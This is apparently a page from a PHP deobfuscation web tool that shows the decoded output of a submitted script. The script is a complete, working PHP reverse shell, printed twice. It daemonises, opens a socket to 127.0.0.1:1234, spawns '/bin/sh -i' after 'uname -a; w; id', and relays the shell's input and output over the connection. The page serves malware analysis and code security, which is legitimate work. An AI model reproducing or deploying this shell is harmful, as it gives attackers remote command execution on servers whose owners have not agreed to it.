Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php $a="set_time_limit";$b="0";$c="1.1";$d="127.0.0.1";$e="1234";$f="1400";$g=NULL;$h=N..

Decoded Output download

<?php 
$a="set_time_limit";$b="0";$c="1.1";$d="127.0.0.1";$e="1234";$f="1400";$g=NULL;$h=NULL;$i="uname -a; w; id; /bin/sh -i";$j=0;$k=0; 
if(function_exists("pcntl_fork")){$l=pcntl_fork();if($l==-1){$m="ERROR: Can't fork";printit($m);exit(1);}if($l){exit(0);if(posix_setsid()==-1){$n="Error: Can't setsid()";printit($n);exit(1);}$j=1;}else{printit("WARNING: Failed to daemonise.  This is quite common and not fatal.");}chdir("/");umask(0);$o=fsockopen($d,$e,$p,$q,30);if(!$o){$r="$q ($p)";printit($r);exit(1);}$s=array(0=>array("pipe","r"),1=>array("pipe","w"),2=>array("pipe","w"));$t=proc_open($i,$s,$u);if(!is_resource($t)){$v="ERROR: Can't spawn shell";printit($v);exit(1);}stream_set_blocking($s[0],0);stream_set_blocking($s[1],0);stream_set_blocking($s[2],0);stream_set_blocking($o,0);printit("Successfully opened reverse shell to $d:$e");while(1){if(feof($o)){printit("ERROR: Shell connection terminated");break;}if(feof($s[1])){printit("ERROR: Shell process terminated");break;}$w=array($o,$s[1],$s[2]);$x=stream_select($w,$g,$h,NULL);if(in_array($o,$w)){$y=fread($o,$f);fwrite($s[0],$y);}if(in_array($s[1],$w)){$z=fread($s[1],$f);fwrite($o,$z);}if(in_array($s[2],$w)){$aa=fread($s[2],$f);fwrite($o,$aa);}}fclose($o);fclose($s[0]);fclose($s[1]);fclose($s[2]);proc_close($t);function printit($ab){global$j;if(!$j){print"$ab
";}} 
?> 
 

Did this file decode correctly?

Original Code

<?php
$a="set_time_limit";$b="0";$c="1.1";$d="127.0.0.1";$e="1234";$f="1400";$g=NULL;$h=NULL;$i="uname -a; w; id; /bin/sh -i";$j=0;$k=0;
if(function_exists("pcntl_fork")){$l=pcntl_fork();if($l==-1){$m="ERROR: Can't fork";printit($m);exit(1);}if($l){exit(0);if(posix_setsid()==-1){$n="Error: Can't setsid()";printit($n);exit(1);}$j=1;}else{printit("WARNING: Failed to daemonise.  This is quite common and not fatal.");}chdir("/");umask(0);$o=fsockopen($d,$e,$p,$q,30);if(!$o){$r="$q ($p)";printit($r);exit(1);}$s=array(0=>array("pipe","r"),1=>array("pipe","w"),2=>array("pipe","w"));$t=proc_open($i,$s,$u);if(!is_resource($t)){$v="ERROR: Can't spawn shell";printit($v);exit(1);}stream_set_blocking($s[0],0);stream_set_blocking($s[1],0);stream_set_blocking($s[2],0);stream_set_blocking($o,0);printit("Successfully opened reverse shell to $d:$e");while(1){if(feof($o)){printit("ERROR: Shell connection terminated");break;}if(feof($s[1])){printit("ERROR: Shell process terminated");break;}$w=array($o,$s[1],$s[2]);$x=stream_select($w,$g,$h,NULL);if(in_array($o,$w)){$y=fread($o,$f);fwrite($s[0],$y);}if(in_array($s[1],$w)){$z=fread($s[1],$f);fwrite($o,$z);}if(in_array($s[2],$w)){$aa=fread($s[2],$f);fwrite($o,$aa);}}fclose($o);fclose($s[0]);fclose($s[1]);fclose($s[2]);proc_close($t);function printit($ab){global$j;if(!$j){print"$ab\n";}}
?>

Function Calls

None

Variables

None

Stats

MD5 3db5bd502e37546d84212098f22ad6b4
Eval Count 0
Decode Time 54 ms